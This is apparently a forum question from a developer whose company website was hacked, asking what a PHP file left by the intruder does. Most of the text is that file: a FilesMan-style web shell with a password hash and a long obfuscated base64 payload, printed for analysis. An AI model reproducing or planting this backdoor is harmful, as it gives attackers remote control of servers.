What does the code below (written by a Cracker) do?

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Today one of the company’s websites on which I work has been hacked, as have several others who are using archaic development methods and full of security holes...

The person who hacked left beyond an index modified the following code in another file and I was interested in understanding why?

<?php #v2.3     //Version
$auth_pass = "b832229b8878777455aa47c155d592d7";    //MD5 Encrypted password here
$color = "#5BC236"; //Colour
$default_action = "FilesMan";
$default_charset = "Windows-1251";
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